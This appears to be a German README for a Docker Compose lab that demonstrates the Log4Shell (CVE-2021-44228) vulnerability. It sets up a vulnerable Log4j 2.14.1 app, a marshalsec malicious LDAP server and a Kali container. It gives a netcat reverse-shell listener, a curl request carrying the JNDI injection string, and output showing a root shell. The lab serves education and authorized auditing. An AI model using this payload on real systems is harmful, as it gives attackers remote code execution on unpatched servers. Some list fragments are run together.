
Automatisiertes Plug-&-Play-Labor in Docker zur Überprüfung und Untersuchung der Log4Shell-Sicherheitslücke (CVE-2021-44228)
Ein automatisiertes Sicherheitsforschungslabor mit einem einzigen Befehl, das dazu dient, die Log4Shell- (CVE-2021-44228) Remote-Code-Execution-Schwachstelle (RCE) zu demonstrieren und zu auditieren.
Dieses Projekt bündelt alle erforderlichen Komponenten (verwundbare Anwendung, bösartiger LDAP-Referral-Server und Angreifer-Werkzeuge) in einer einheitlichen, isolierten Netzwerkinfrastruktur mithilfe von Docker Compose.
.env-Datei und kein Netzwerkabgleich erforderlich. Alles wird automatisch über den internen DNS von Docker aufgelöst.UnsupportedClassVersionError-Probleme zu vermeiden.configurar.sh), das das Entfernen von Containern, das Leeren des Caches und Neuaufbauten automatisiert.Das Labor erstellt ein isoliertes Brückennetzwerk (red-log4shell) mit drei zentralen Akteuren:
web-vulnerable): Eine Spring-Boot-Webanwendung, die eine ungepatchte, verwundbare Version von Log4j (2.14.1) nutzt und auf Java 8u111 läuft.ldap-malicioso): Nutzt marshalsec, um eingehende Lookup-Anfragen abzufangen und das Opfer dynamisch zur Payload des Angreifers umzuleiten.kali-tools): Ein eigener Kali-Linux-Container, der einen Python-HTTP-Server zur Auslieferung der kompilierten Exploit-Payload (Exploit.class) sowie einen Netcat-Listener zum Abfangen der Reverse Shell bereitstellt.Um dieses Labor auf einem beliebigen Linux-Rechner mit installiertem Docker bereitzustellen, führen Sie die folgenden Befehle in Ihrem Terminal aus:
# 1. Repository klonen
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git
# 2. In das Projektverzeichnis wechseln
cd mi-laboratorio-log4shell
# 3. Ausführungsrechte für das Skript-Management vergeben und das Labor starten
chmod +x configurar.sh
./configurar.sh
🚀 So nutzen Sie den Exploit aus (Schritt für Schritt)
Sobald die Infrastruktur über das Skript automatisch gestartet und ausgeführt wird, führen Sie die folgenden Schritte aus, um den Exploit auszulösen und die Reverse Shell abzufangen. Schritt 1: Netcat-Listener einrichten
Öffnen Sie ein neues Terminal auf Ihrem Host-Rechner (Ubuntu) und verbinden Sie sich mit dem Container des Angreifers, um Netcat für eingehende Verbindungen bereitzustellen: Bash
sudo docker exec -it kali-tools bash
Starten Sie im Kali-Container den Listener: Bash
nc -lvnp 4444
Sie sehen die Meldung: listening on [any] 4444 ... Schritt 2: Angriffsvektor starten
Öffnen Sie ein weiteres separates Terminal auf Ihrem Host-Rechner und senden Sie die bösartige JNDI-Injection-Zeichenkette, die im X-Api-Version-Header eingebettet ist:
Bash
curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'
Schritt 3: Reverse Shell überprüfen
Gehen Sie zurück zu Ihrem Netcat-Terminal. Sie sollten eine aktive Verbindung sehen. Sie können nun Befehle als root auf dem Opfer-Server ausführen: Bash
connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164 whoami root
Dieses Repository wurde ausschließlich für Bildungszwecke, Sicherheitsforschung und autorisierte akademische Audits erstellt. Führen Sie diese Werkzeuge oder Angriffsinfrastrukturen niemals ohne ausdrückliche, vorherige schriftliche Genehmigung der Infrastrukturbetreiber aus.